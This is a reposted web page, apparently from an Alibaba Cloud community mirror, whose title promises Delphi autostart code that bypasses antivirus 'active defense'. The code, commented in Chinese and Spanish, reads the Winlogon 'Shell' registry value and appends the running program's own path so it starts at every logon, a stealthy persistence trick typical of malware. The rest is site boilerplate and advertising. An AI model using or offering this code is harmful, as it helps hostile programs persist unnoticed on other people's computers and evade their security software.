過主動防禦自啟動代碼delphi

來源:互聯網
上載者:User
{註冊表操作函數,SetClave設定索引值,GetClave獲得索引值 Funciones de registro}function SetClave(key:Hkey; subkey,name,value:string):boolean;varregKey:hkey;beginresult:=FALSE;RegCreateKey(key,PChar(subkey),regKey);if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then    result:=TRUE;RegCloseKey(regKey);end;function GetClave(key:Hkey; subkey,nombre:String):String;varbytesread:dword;regKey: HKEY;valor:String;beginResult:='';RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);SetLength(valor, bytesread);if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then    result:=valor;RegCloseKey(regKey);end;{主要函數}procedure InicioShell;varClaveOriginal: string;begin{獲得當前索引值 Guarda el valor actual}ClaveOriginal:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');{檢查是否應該寫鍵 Comprueba que la ruta de nuestro ejecutable no se encuentra en ese valor}if ansipos(paramstr(0), claveoriginal)=0 thenSetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(ClaveOriginal)+' "'+Paramstr(0)+'"');end;

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.